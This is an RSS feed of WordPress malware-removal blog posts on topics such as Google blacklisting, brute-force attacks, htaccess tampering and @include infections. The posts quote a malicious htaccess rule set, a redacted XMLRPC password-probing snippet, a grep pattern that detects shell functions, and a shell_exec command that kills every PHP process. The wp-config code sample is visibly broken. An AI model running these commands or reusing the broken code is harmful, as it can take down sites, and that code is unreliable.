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		<title>The Process from a WordPress Hack to Being Flagged as Malware by Google, and How to Resolve It</title>
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		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Thu, 26 Mar 2026 01:29:01 +0000</pubDate>
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					<description><![CDATA[I will explain the process leading up to a WordPress site being flagged as malware by Google after a hack, as well as how to resolve the issue. When I accessed a WordPress site I hadn’t touched in a while, I was greeted by a bright red screen and couldn’t log in. If you access a WordPress site you created in the past and have left unused for a while, you may encounter a screen like the one shown below and find that you can no longer log in. In this case, your WordPress site may have been hacked and compromised, with malicious code embedded into it, leading various security companies to flag the site as dangerous to access. Steps to Remove the Red Screen from the Blacklist Here is a simple guide to resolving this red screen issue. 1. Check which blacklists your site is listed on. You can use the Sucuri Site Check to scan your site for malware and check for blacklisting. *If the entire screen displays a red warning, there is a high probability that your site has been flagged by Google Safe Browsing. 2. Remove malware from the site We will perform malware removal as requested by an expert. You can also use a plugin to scan for and remove malware. 3. Verify again that no malware is detected using an external scanner. After removing the malware, we will re-test your site using an external malware scanning service. The following are examples of external malware scanning services: Sucuri Site Check Online Malware Scanner 4 Notify each blacklisting company that the malware has been removed *Each company has its own contact point for removing listings from blacklists. For Google Safe Browsing, there are two notification methods available: Report the page to the Google Safe Browsing team. https://safebrowsing.google.com/safebrowsing/report_error/ *Note: While anyone can submit a request using the method above, removal may be delayed, or the request may not be properly reviewed. Via Search Console https://search.google.com/search-console/about Register your site with Search Console (if you haven’t already) Open the “Security Issues” report Click “Request a review as fixed” In this submission form, describe exactly what actions you took and how you implemented them. There are specific best practices for writing this text, and if your request isn’t approved, there are also tips for effectively communicating with Google. We recommend seeking advice from an expert on how to write the text for these removal requests.]]></description>
		
		
		
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		<title>A brute force attack may be the cause of many 504 and 403 errors on your WordPress site</title>
		<link>https://blog.website-malware-removal.com/10732</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Wed, 04 Feb 2026 02:07:06 +0000</pubDate>
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					<description><![CDATA[A brute force attack may be the cause of the frequent 504 and 403 errors on your WordPress site. We will explain the symptoms and how to deal with this issue. Server overload due to brute force attack A brute force attack is an attack technique that uses the WordPress administrator&#8217;s ID (which is relatively easy to obtain) and a dictionary of tens of thousands of commonly used passwords to repeatedly perform login enforcement, eventually attempting to match the password and successfully log in. If the password is strong enough, the login will not be successful. However, this attack may cause tens of thousands of accesses to the server in a short period of time, resulting in frequent 504(*) or 403 errors. What are 504 and 403 errors? A 503 error is an error where the server is overloaded and stops processing before retrieving data or displaying the site. Some servers (e.g., major shared servers) may also have a 403 error, which automatically bounces the process when the server is overloaded. How can I find out if my site is being brute-force stacked? One way to check if your site is being brute-forced is to look at the server logs. wp-login.php and xmlrpc.php may be brute-forced if they record excessive accesses. A security plugin can also detect brute force attacks. You can detect brute force attacks with the Hack Monitor feature enabled in the [Free] WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. The recorded brute force attacks are shown in the figure below To resolve the overload caused by brute force attacks Here are some measures to resolve server overload caused by brute force attacks. Eliminate log bloat Brute force attacks can increase the server load by bloating the site&#8217;s access logs, access analysis, and security logs. (If there are millions of logs in the database, simply writing new logs can slow down the site significantly and cause 503 errors.) In this case, it is possible to reduce the number of logs or prevent new logs from being recorded, thereby reducing the likelihood of 503 errors. Protect the login screen We can protect the login screen by preventing access to wp-login.php and xmlrpc.php, which are vulnerable to brute force attacks, by using security plugins, etc., or by preventing excessive access to these files. It is also effective to block access to the hacker&#8217;s site by directly blocking the IP of the brute force attacker, thereby preventing the hacker from gaining access to the site. Reference Why and How to Prevent WordPress Brute Force Attacks with Login Screen Security Alone We hope this was helpful.]]></description>
		
		
		
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		<title>Why WordPress brute force attacks cannot be prevented by login screen security alone.</title>
		<link>https://blog.website-malware-removal.com/10722</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Fri, 30 Jan 2026 01:33:57 +0000</pubDate>
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					<description><![CDATA[We will explain why WordPress brute force attacks cannot be prevented by login screen security alone and what to do about it. What is a brute force attack? A brute force attack is an attack that attempts to successfully log in as an administrator by repeating the WordPress login enforcement thousands and thousands of times by predicting the password. Once a hacker is able to log in as a WordPress administrator, they can do anything they want, including modifying files, hosting unauthorized files, and installing unauthorized plugins via the WordPress administration screen. Hackers have a dictionary of commonly used passwords and will use this dictionary to conduct an automatic brute force attack. This attack can cause a huge amount of traffic to WordPress and slow down the site. Brute force attacks cannot be prevented by login screen security alone. There are two types of brute force attacks: one is by sending login information to wp-login.php, the WordPress login program, and the other is by using the XMLRPC mechanism. For this reason, it is not possible to prevent brute force attacks by simply adding a capture to the login screen or changing the login screen URL. What is the brute force attack method using XMLRPC? XMLRPC is a mechanism that allows WordPress to create posts from the outside via the Internet. If the login information is incorrect, an error message is output. By analyzing this error message, it is possible to determine whether the login was successful or not, thus enabling a brute force attack. How can I prevent brute force attacks on both the login screen and XMLRPC? Free] WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. This section explains how to prevent brute force attacks on both the login screen and XMLRPC using the After downloading and installing the plugin, select &#8220;High&#8221; in the Malware Scan > Security tab of the administration page and save the settings. This will enable the Login Lockdown, Login Capture, Password Reset Capture, and Prevent Excessive Access to XMLRPC features and enable the security features to prevent brute force attacks on both the login screen and XMLRPC. Monitor brute force attacks and block IPs It is also possible to monitor brute force attacks and block IPs. On the plugin&#8217;s administration page, under the &#8220;Hack Monitor &#038; IP Blocker&#8221; tab, check the Enable Hack Monitor checkbox and save the settings. This will allow you to monitor, detect, and record brute force attacks and vulnerability attacks by hackers. The recorded hacker attacks can then be used to block the hacker&#8217;s IP. By blocking the hacker&#8217;s IP, the hacker will no longer be able to brute-force attack on that IP. We hope this helps.]]></description>
		
		
		
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		<title>Is it really safe to put wordpress wp-config.php externally? Examining the advantages and disadvantages</title>
		<link>https://blog.website-malware-removal.com/10639</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Wed, 19 Nov 2025 01:48:10 +0000</pubDate>
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					<description><![CDATA[I would like to explain whether or not it is better to put wp-config.php under a different name or in a different directory, and how to do this. Advantages of externalizing or renaming your WordPress wp-config.php The wp-config.php file contains very important information about the database connection. If this connection information is leaked to the outside, the database can be manipulated to create unauthorized users or rewrite WordPress content. In addition, a common vulnerability attack by hackers is to look into the contents of wp-config.php. To prevent this vulnerability attack, externalizing or renaming wp-config.php has security advantages. Reference (vulnerabilities #3 and #5 in the following article) The 6 most targeted plugin vulnerabilities in WordPress these days How to externalize or rename wordpress wp-config.php You can rename wp-config.php by following the steps below. 1. Rename wp-config.php Using FTP or a file manager wp-config.php → wp-config-secure.php (any name is fine, but it must match the name in step 2) 2. Rewrite the reading part of wp-config.php in wp-load.php The following two lines if ( file_exists( ABSPATH . 'wp-config.php' ) ) { /** The config file resides in ABSPATH */ require_once ABSPATH . 'wp-config.php'; Replace the following if ( file_exists( ABSPATH . 'wp-config-secure.php' ) { /** The config file resides in ABSPATH */ require_once ABSPATH . 'wp-config-secure.php'; The config file resides in ABSPATH */ require_ce ABSPATH . &#8216;wp-config-secure.php&#8217;; * The config file resides in ABSPATH */ require_ce ABSPATH . How to externalize? First, place the above wp-config-secure.php in a folder on the server above the folder where the HTML is located. Specify that folder with ../ to specify the hierarchy above. If you place it one level above if ( file_exists( ABSPATH . '../wp-config-secure.php' ) { /** The config file resides in ABSPATH */ require_once ABSPATH . '../wp-config-secure.php'; If you place it two levels up if ( file_exists( ABSPATH . '../../wp-config-secure.php' ) { /** The config file resides in ABSPATH */ require_once ABSPATH . '../../wp-config-secure.php'; Externalizing or renaming wordpress wp-config.php Disadvantages There are several disadvantages to the above customization that you should be aware of when updating WordPress. 1 When updating, WordPress will judge that there is no configuration file, and will generate a new wp-config.php file. 2 When updating, wp-load.php reverts back to the regular file and the renamed wp-config.php cannot be loaded, the site will be at the installation screen and the site will display poorly For this reason, you will be asked to externalize wp-config.php again each time you update. If automatic updates are enabled, the above error may be triggered at unexpected times. Is renaming wp-config.php recommended? We do not recommend renaming or externalizing wp-config.php except in special cases. Rather, we recommend that you take measures to prevent vulnerabilities that can be exploited by peeping into wp-config.php. We have a vulnerability database that allows you to easily perform a vulnerability check to look into the wp-config.php of plug-ins installed on your site. Free WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal].]]></description>
		
		
		
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		<title>How to perform malware removal and request a review after Google determines a site to be dangerous.</title>
		<link>https://blog.website-malware-removal.com/10598</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Fri, 19 Sep 2025 01:34:40 +0000</pubDate>
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					<description><![CDATA[This section explains how to perform malware removal and request a reexamination after a site has been determined by Google to be dangerous. Reapplication for malware removal after being judged by Google as having malware If your WordPress site is infected with malware and the above screen appears in your browser, or if your site is listed as a &#8220;dangerous site&#8221; or &#8220;phishing site&#8221; in the search results, you will first need a malware scan, malware removal, and security measures. In this article, we will explain how to deal with the red screen warning that continues to appear on your Chrome browser after you have done so. Why does the warning screen continue to appear in the browser after malware removal? The reason for this is that if the malware has been completely removed, the website has been registered in the blacklist as a dangerous website. Google&#8217;s blacklist is widely used by various browsers as a mechanism to warn users of dangerous websites, and you need to apply for deregistration of this blacklist to prevent the warning screen from appearing. *In some cases, the site will be automatically re-screened after a certain period of time, and you may be removed from the blacklist without having to do anything. *In some cases, a site may be registered on the black list of a virus scanning software or other proprietary software. In this case, you may be required to apply for removal from the black list by the company that operates the virus scanning software. Reference: Blacklist registration investigation sites Google Safe Browsing Site Status How to apply to be unblacklisted If you have a small number of pages that have been determined to be fraudulent, you can easily request a review by specifying the URL from the following page. https://www.google.com/safebrowsing/report_error/?hl=en If a large number of pages or the domain itself are blacklisted as a dangerous site In this case, you can request a review of the entire domain from the Search Console. The following is a simple process. Register your site in Search Console (Google&#8217;s system for webmasters). Click on &#8220;Security and manual measures&#8221; → &#8220;Manual measures&#8221; in the Search Console administration screen, click on the &#8220;Request Review&#8221; button, describe the malware removal and security measures you have taken, and then start the request. The following is a detailed description of what you have actually done. We have thoroughly scanned and removed all malware from WordPress, and have updated WordPress itself and all plugins to the latest versions as a security measure. The site is no longer vulnerable and some pages no longer redirect to phishing sites, so please re-examine the site. The time it takes to re-review a site, according to Google, is as follows Re-review time for hacking, including spam: up to several weeks. Time to review for malware: several days Re-review time for phishing: 1 day Reference page Tutorial on how to request a Google re-review]]></description>
		
		
		
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		<title>Removing WordPress malware with AI is currently difficult and may break the site</title>
		<link>https://blog.website-malware-removal.com/10558</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Tue, 26 Aug 2025 02:15:03 +0000</pubDate>
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					<description><![CDATA[We will explain the dangers of malware removal by AI. I tried to get rid of malware while listening to AI&#8217;s opinion, but the site became unviewable. I have tried deleting unknown files (that I was told were strange) regarding the wordpress malware, and getting in and out of themes and plugins, but nothing has changed. I have consulted with chatgpt and cherry servers and tried everything, but nothing is restored. I would like to be able to view the site, please. You consulted with AI such as chatgpt and others and asked them various things to get rid of malware, but now you can&#8217;t see the site. AI has various limitations in its capability and mechanism, and it is difficult to get rid of malware by AI, and it may destroy the site or server. We will explain the reasons for this. AI&#8217;s advice will be the most general, but it will not necessarily take into account the situation of the site. The advice given by ChatGPT to remove malware, while correct in some cases, includes advice that may cause the site to display poorly, for example, the advice to rename the plugin folder given by CHatGPT may cause more errors if the theme is using plugin functionality, etc., and will ensure that the site will not display poorly if you evacuate the theme. For example, the advice given by CHatGPT to rename the plugin folder may cause more errors if the theme uses plugin functionality, etc., and moving the theme back will certainly cause the site to malfunction. The initialization of the HTACCESS advice by ChatGPT may be the correct response, since malware may have tampered with it and made it impossible to log in, but the script for the tampering is embedded in index.php and memory, so even if it is repaired, it may soon be re-infected and you will still not be able to log in. It is highly likely that the infection will not change the situation where you will still not be able to log in again. AI cannot connect to the server and inspect the files exhaustively. Since AI does not have the ability to directly connect to the server, it cannot directly examine or repair the location of the WordPress malware, so it can only advise you on how to do so. However, this advice may also be based on commands to be executed on the server or programs that may or may not work properly. Examples of commands presented by AI These commands do not work on many shared servers, and there is no guarantee that the commands will work as intended, which may cause more errors on the server in some cases, which may be detrimental. grep -R --line-number -E "(base64_decode&#124;gzinflate&#124;str_rot13&#124;eval\(&#124;assert\(&#124;system\(&#124;shell_exec(&#124;passthru\(&#124;exec()" . For these reasons, if you are going to take AI&#8217;s advice on WordPress malware removal, you should carefully examine the content of the advice, taking into account the possibility that the content may cause unnecessary damage to your site. However, even careful examination of the content often requires specialized knowledge. [&#8230;]]]></description>
		
		
		
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		<title>How to deal with a 500 Internal Server Error on the post edit screen of the admin screen or the add plugin screen due to htaccess being edited without permission in WordPress.</title>
		<link>https://blog.website-malware-removal.com/10505</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Tue, 20 May 2025 02:15:18 +0000</pubDate>
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					<description><![CDATA[This section describes how to deal with a 500 Internal Server Error on the &#8220;Edit Post&#8221; screen or &#8220;Add Plugin&#8221; screen of the administration screen due to htaccess being edited without permission in WordPress. Tampering with htaccess If you are unable to log in to the WordPress admin screen, or if the post edit screen or add plugin screen gives you a 500Internal Server Error (or blank, or even a 403 error), HTACCESS has been tampered with and access to files with the .php extension Access to files with a .php extension may be blocked. Example of a tampered HTACCESS &#60;FilesMatch ".*\.(py&#124;exe&#124;phtml&#124;php&#124;PHP&#124;Php&#124;PHp&#124;pHp&#124;pHP&#124;phP&#124;PhP&#124;php5&#124;PHP5&#124;Php5&#124;PHp5&#124;pHp5&#124;pHP5&#124;phP5&#124;PhP5&#124;php7&#124;PHP7&#124;Php7&#124;PHp7&#124;pHp7&#124;pHP7&#124;phP7&#124;PhP7&#124;php8&#124;PHP8&#124;Php8&#124;PHp8&#124;pHp8&#124;pHP8&#124;phP8&#124;PhP8&#124;suspected)$"&#62; Order Allow,Deny Deny from all &#60;/FilesMatch&#62; This description of the configuration due to tampering prohibits access to files with any PHP-related extensions. If the HTACCESS file in the top directory of WordPress has the above description, it is highly likely that the site has been hacked and tampered with. How to deal with HTACCESS tampering The above description of blocking access to the PHP extension has been added by hackers to prevent WordPress operators from removing malware using malware scanning plug-ins, etc., so there is no problem if you delete it. Access the WordPress server with FTP software, download the HTACCESS file in the top directory, remove the tampering, and upload it back to the original server. Once you are able to access the administration screen, install the malware scanning disinfection plugin and perform other malware scanning disinfection. If the tampering reverts immediately or cannot be uploaded If HTACCESS tampering reverts back to its original state immediately, or if the file cannot be overwritten by uploading even after rewriting file permissions, there may be malware resident in the server process (memory) to re-tamper with the file. In this case, you will need to stop the process with a special program. Reference Repair HTACCESS and Index.php, which are instantly tampered with again in WordPress. However, if you have been infected with memory-resident malware, there is often a combination of malware disinfection measures on the part of various hackers. Malware that automatically executes the program itself residing in memory is infecting index.php. There is another tampered HTACCESS in the upper hierarchy. The write permission of the folder on the upper hierarchy is also being made continuously un-writable by other processes. Resident in a process of another domain on the same server. etc. In these cases, the aforementioned programs may not be able to compete. We recommend that you contact a WordPress malware removal specialist.]]></description>
		
		
		
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		<title>What to do if a malware-infected site fails to remove malicious files due to permission errors</title>
		<link>https://blog.website-malware-removal.com/10353</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Fri, 10 Jan 2025 01:15:05 +0000</pubDate>
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					<description><![CDATA[In some cases, malware-infected sites may not be able to delete malicious files due to permission errors (write permission errors). When you connect to the server with FTP software and try to delete the malware, you cannot delete or move the malicious file due to a file write permission error. The reason for this is most likely that the malware has rewritten the write permissions of one level up where WordPress is located to be unwritable, causing a permission error. Set the permissions of the folder one level above where the malicious file is located and the malicious file you want to delete to 755 (writable by administrator permissions) before deleting it. If you cannot change the write permission of the folder one level above, or if it immediately reverts back to not writable on its own On some servers, you may not be able to use FTP software to select the folder above the one containing WordPress and change the permissions. In this case, you may be able to change the permissions via the program by creating a PHP file like the one below, uploading it to a writable folder one level below the WordPress folder, and accessing it with a browser. fix.php &#60;?php @chmod("../../", 0755);//make the permissions on the two upper folders writable If the WordPress folder immediately reverts back to un-writable on its own. In this case, malware may have become resident in the server process and immediately revert the changed folder&#8217;s writable permissions. Therefore, to make the folder writable, you must stop the main body or resident process that is creating the malware that resides in the process. The process may be stopped with a PHP program such as the following *The code below may stop PHP and in some cases may require a server restart. Use at your own risk. shell_exec("ps aux &#124; grep -i php &#124; awk {'print $2'} &#124; xargs kill -9"); You can also use the Malware Detection Plug-in to inspect and remove the malware itself. Free] WordPress:Malware Scan &#38; Security Plugin [Malware and Virus Detection and Removal].]]></description>
		
		
		
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		<title>How to prevent brute force attacks through XMLRPC.php in wordpress?</title>
		<link>https://blog.website-malware-removal.com/10321</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Thu, 05 Dec 2024 01:04:57 +0000</pubDate>
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					<description><![CDATA[We will explain the method of brute force attack that tries to break through the administrator&#8217;s password through XMLRPC.php in WordPress and how to prevent it. What is XMLRPC and how is XMLRPC used for brute force attacks? XMLRPC provides a mechanism to update a site from a program by sending data such as post data directly to WordPress. Such functions require WordPress authentication (login), so IDs and passwords must also be sent in order to use the functions. If the ID and password submitted via XMLRPC do not match, WordPress will return an error. Conversely, if a brute force hacker sends the ID and password to XMLRPC and no error is returned, it can be determined that it is the correct ID and password, and can be used in a brute force attack. The code below is a sample of code that sends IDs and passwords to XMLRPC. *Some of the code has been withheld due to the possibility of misuse. Please understand this. $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://wordpress URL/xmlrpc.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $content = array(); $params = array( 'userID', 'password', $content); $params =*****; *****; $result = curl_exec($ch); curl_close($ch); echo ($result); If the &#8216;user id&#8217; and &#8216;password&#8217; do not match, wordpress will return a response similar to the following &#60;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&#62; &#60;methodResponse&#62; &#60;fault&#62; &#60;value&#62; &#60;struct&#62; &#60;member&#62; &#60;name&#62;faultCode&#60;/name&#62; &#60;value&#62;&#60;int&#62;403&#60;/int&#62;&#60;/value&#62; &#60;/member&#62; &#60;member&#62; &#60;name&#62;faultString&#60;/name&#62; &#60;value&#62;&#60;string&#62;Incorrect user name or password.&#60;/string&#62;&#60;/value&#62; &#60;/member&#62; &#60;/struct&#62; &#60;/value&#62; &#60;/fault&#62; &#60;/methodResponse&#62; If the ID password matches, wordpress will return the following data. &#60;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&#62; &#60;methodResponse&#62; &#60;params&#62; &#60;param&#62; &#60;value&#62; &#60;array&#62;&#60;data&#62; &#60;value&#62;&#60;struct&#62; &#60;member&#62;&#60;name&#62;isAdmin&#60;/name&#62;&#60;value&#62;&#60;boolean&#62;1&#60;/boolean&#62;&#60;/value&#62;&#60;/member&#62; &#60;member&#62;&#60;name&#62;url&#60;/name&#62;&#60;value&#62;&#60;string&#62;http://wordpress URL/&#60;/string&#62;&#60;/value&#62;&#60;/member&#62; &#60;member&#62;&#60;name&#62;blogid&#60;/name&#62;&#60;value&#62;&#60;string&#62;1&#60;/string&#62;&#60;/value&#62;&#60;/member&#62; &#60;member&#62;&#60;name&#62;blogName&#60;/name&#62;&#60;value&#62;&#60;string&#62;Site name&#60;/string&#62;&#60;/value&#62;&#60;/member&#62; &#60;member&#62;&#60;name&#62;xmlrpc&#60;/name&#62;&#60;value&#62;&#60;string&#62;http://wordpress URL/xmlrpc.php&#60;/string&#62;&#60;/value&#62;&#60;/member&#62; &#60;/struct&#62;&#60;/value&#62; &#60;/data&#62;&#60;/array&#62; &#60;/value&#62; &#60;/param&#62; &#60;/params&#62; &#60;/methodResponse&#62; This difference makes it possible to mechanically determine if the ID and password match. How to prevent brute force attacks by XMLRPC? To completely stop XMLRPC.php, put the following in your theme&#8217;s functions.php add_filter( 'xmlrpc_enabled', '__return_false' ); However, since XMLRPC is currently used by various plug-ins, it is not recommended to completely disable XMLRPC, as it may cause problems with the site. There are security plug-ins that can prevent XMLRPC brute force attacks only. Such plug-ins can also prevent XMLRPC brute force attacks. Free WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. All-In-One Security (AIOS) &#8211; Security and Firewall]]></description>
		
		
		
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		<title>If you get a 403Forbidden error on the bottom page of your WordPress site or on the admin page, you may be infected with malware</title>
		<link>https://blog.website-malware-removal.com/10305</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Fri, 22 Nov 2024 01:14:08 +0000</pubDate>
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					<description><![CDATA[If you get a 403Forbidden error on the bottom page of your WordPress site or on the admin page, you may be infected with malware Suddenly your WordPress site gets a 403Forbidden error A 403 error can mean that the server is forbidding access to the site. While this is often caused by an error in the HTACCESS description or a permissions issue, it can also be caused by a malware infection. *The HTACCESS file is a file that writes various server settings in the top directory of WordPress Malware may alter and rewrite the HTACCESS file to prohibit access to the WordPress administration screen and certain pages within the administration screen, making it impossible to detect and remove the malware. Malware may randomly install the above malicious HTACCESS files in the server, resulting in a 403 error for the entire WordPress site, including the lower-level pages and folders. Examples of HTACCESS file tampering As an example of a tampered HTACCESS file, the following tampering code may be embedded in the file. &#60;FilesMatch ".*\.(py&#124;exe&#124;phtml&#124;php&#124;PHP&#124;~ A list of multiple extensions~.&#124;phP8&#124;PhP8&#124;suspected)$"&#62; Order Allow,Deny Deny from all &#60;/FilesMatch&#62; &#60;FilesMatch "^(index.php&#124;wp-login.php&#124;~ A list of multiple file names~&#124;wp-crom.php&#124;wp-confiq.php)$"&#62; Order Allow,Deny Allow from all &#60;/FilesMatch&#62; FilesMatch &#8220;.*\. (py&#124;exe&#124;phtml&#124;ph ~ Deny from all means that files with extensions such as py, exe, phtml, php, etc. should not be accessible. This description is causing 403 errors. FilesMatch &#8220;^(index.php&#124;wp-login.php&#124;wp- ～ Allow from all This line means that the malware only allows access to files that are convenient for hackers (backdoors, etc.). Such tampering may be of low quality code and can be generated in the server at random. This may result in a 403 error for the entire site on the server or a blank screen, making it impossible to display the site itself. How to deal with unauthorized tampering HTACCESS files If such a tampered HTACCESS file has been installed on the server, it is necessary to delete the HTACCESS file itself if it is in an unnecessary place, and if the malicious code is included in a legitimately installed HTACCESS by WordPress, it is necessary to remove only the malicious code part. If the malicious code is included in the HTACCESS file, it is necessary to remove only the malicious code part. Generally, WordPress installs only one HTACCESS file in the top directory of WordPress. However, plug-ins and themes may be installed in the upload folder or in the plug-ins&#8217; or themes&#8217; folders. HTACCESS files can also be randomly placed in deeper folders by malware, making it difficult to find them all. In such cases, we recommend that you use a malware scanning plug-in to perform a comprehensive scan. Free] WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal]. However, since HTACCESS tampering is caused by a wide variety of code patterns, it may not be possible to detect all of them even if you use the above plug-ins. Please consider consulting a specialist if you are unable to completely remove the tampering or if there is a possibility that the tampering is still present.]]></description>
		
		
		
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		<title>Malware deletes folders and files on your WordPress site!</title>
		<link>https://blog.website-malware-removal.com/8999</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Thu, 02 Nov 2023 12:00:04 +0000</pubDate>
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					<description><![CDATA[Is it possible for malware to delete folders and files on a WordPress site? We would like to explain this. WordPress malware is basically never active enough to erase legitimate files. The most common malicious activities of WordPress malware are as follows Forcibly redirecting users to malicious sites Displaying malicious advertisements Registering fraudulent pages in search engines Stealing credit card or login information from the above fraudulent pages Forcing users to download malicious software These activities target users who visit the site and become ineffective if the site is not displayed. For this reason, hackers basically do not try to break the site&#8217;s display functionality or erase files to cause errors on the site. (An error would also make the site operator immediately suspect a malware infection.) Malware can break the site display or cause fatal errors. However, in some cases, the hacker&#8217;s skill may be sloppy or the malware code may be of low quality, causing errors or loss of files that are not the hacker&#8217;s intention. Therefore, if a malware infection causes a site to malfunction, fatal errors, or lost files, it is most likely due to low-quality malware code or poor hacker skills. What to do if malware causes errors on your site If malware causes errors on your site, or if your site fails to display properly, here is what you can do. Eliminate the malware If there are multiple sites on the server, it is recommended that all sites on the server be scanned for malware, as they may have been infected by other sites. Repair missing files, etc. (backup and download legitimate files and repair them manually) Apply security measures to the site. Verify site display and operation These tasks often require specialized knowledge, and we recommend that you consult with a specialist if you suspect that the site errors caused by malware cannot be resolved.]]></description>
		
		
		
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		<title>If your wordpress index.php has a one line include statement @include it is infected with malware</title>
		<link>https://blog.website-malware-removal.com/8733</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Tue, 05 Sep 2023 12:00:06 +0000</pubDate>
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					<description><![CDATA[If there is a one-line include statement @include in the index.php in the top directory of WordPress or in the theme, etc., it is highly likely that the site is infected with malware. Malware infection by wordpress@include This malware is the most commonly detected type of malware. It modifies and embeds include statements with the following characteristics in the top directory of WordPress or in a PHP program called index.php included in the theme. Random string comments above and below the @include statement Tampering with a single line of @include that reads another file on the server What does this tampering do? The function of this tampering is basically code that reads and executes the body of the malware in a separate folder from index.php, which is executed on every page on the site. This causes the main malware function to be executed on every page of the site when a user visits the site. The @ in @include means that the error is not displayed even if the loading destination disappears. The main body of the malware being loaded by @include is located at the path indicated by the string that follows it, but in many cases it is obfuscated so that it is difficult to tell where it is just by looking at it. Click here for a tool to remove the obfuscation. The random string of comments above and below the @include statement are identifiers that the malware itself or other backdoors can use to inspect the malware to see if the embedding has been erased by tampering. What if @include tampering is found on a WordPress site? In this case, it means that the WordPress site has already been compromised and hackers are free to tamper with the site. It is highly likely that there are multiple malware embedded or vulnerabilities in the site, not just @include and its body. Therefore, malware removal and security measures must be taken for all sites on the server. (If one site on the server is infected, the infection can spread to other sites across folders starting from that site.) Malware scanning and removal can be done to some extent with plug-ins. Free] WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal]. Reference articles on security measures 5 Free WordPress Security Measures]]></description>
		
		
		
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		<title>Change WordPress database prefix to prevent SQL injection</title>
		<link>https://blog.website-malware-removal.com/8718</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Tue, 08 Aug 2023 12:00:41 +0000</pubDate>
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					<description><![CDATA[You can reduce the chances of a successful SQL injection by changing the prefix of your WordPress database. We will explain how to do this. What is a WordPress database prefix? A prefix is the prefix of the table that stores the data in the database, and when you install wordpress, the default value is wp_. Most WordPress sites use this prefix wp_. By changing this prefix, you can have multiple WordPress sites in one database and improve security. What is SQL Injection? SQL injection is a vulnerability in plug-ins and themes. If you continue to use a plug-in or theme with this vulnerability, an external party will send code to rewrite the above database and rewrite the database. If the database is rewritten, the contents of the posts can be edited illegally or an unauthorized user can be created. In this case, the hacker will specify the database to be rewritten using the prefix wp_, which is used by many WordPress, so if the prefix is different, the chance of a successful attack is reduced. Since the number of SQL injection vulnerabilities is small compared to the total number of vulnerabilities, it is not mandatory to change the prefix, but it is recommended for sites that are very security-conscious. Changing the Database Prefix If you change the prefix by directly modifying the database, the privileges of the WordPress user are also saved according to the prefix, so you may not be able to log in or use the functions of the administration screen. Also, since the prefix is set in wp-config.php, you will get a database connection error if you do not change this as well. You can change the prefix using a plugin that automatically handles prefix-related processes such as these. On the Add Plug-in screen, enter Brozzme DB Prefix &#038; Tools Addons to install and activate the plugin. Then go to Tools > DB prefix and specify the new prefix and press the Change button. After the change, you may delete this plugin. Please try again. Free WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal].]]></description>
		
		
		
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		<title>WordPress SiteGuard plugin may erase HTACCESS or cut off the setting in the middle.</title>
		<link>https://blog.website-malware-removal.com/8647</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Thu, 20 Jul 2023 12:00:39 +0000</pubDate>
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					<description><![CDATA[We have received several inquiries from WordPress Doctor customers about cases of HTACCESS disappearing, settings being cut off in the middle, and 500 errors. HTACCESS processing of SiteGuard plugin The SiteGuard plugin is probably the most popular plugin in the country, primarily for increasing security on WordPress login screens, and is an excellent, easy-to-configure plugin with a full range of features. However, we have received several inquiries from WordPress Doctors about the disappearance of HTACCESS, and in those cases, this plugin is almost always installed, and we have received reports that the situation improved when this plugin was deactivated. The reason why the SiteGuard plugin may cut or erase HTACCESS in rare cases. We have investigated the cause of this problem and found that there are some parts of the code in the following file. File name wp-content/plugins/siteguard/classes/siteguard-htaccess.php This code means that the contents of the HTACCESS file are read, processed, and saved one line at a time, 4096 characters (bytes) at a time. However, this code may cause problems. 1 Multiple lines are read as one line when the line feed code is not \n 2 If the line contains more than 4096 characters (bytes), it will be cut off at that number of bytes. 3 If HTACCESS is cut off at 4096 characters (bytes) on the way as described above, other plugin settings cannot be read, and HTACCESS may be emptied. 4 If HTACCESS is cut off in the middle of the above, HTACCESS configuration will be malfunctioned and may cause a 500 error At this time, no update is provided for this part of the plugin, so if the server or other plugins are writing settings in a newline code other than Јn, there is a possibility, although very rare, that the above problem of htaccess breaking in the middle may occur. Free WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal].]]></description>
		
		
		
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		<title>Five types of malware embedded in WordPress</title>
		<link>https://blog.website-malware-removal.com/8297</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Mon, 15 May 2023 12:00:50 +0000</pubDate>
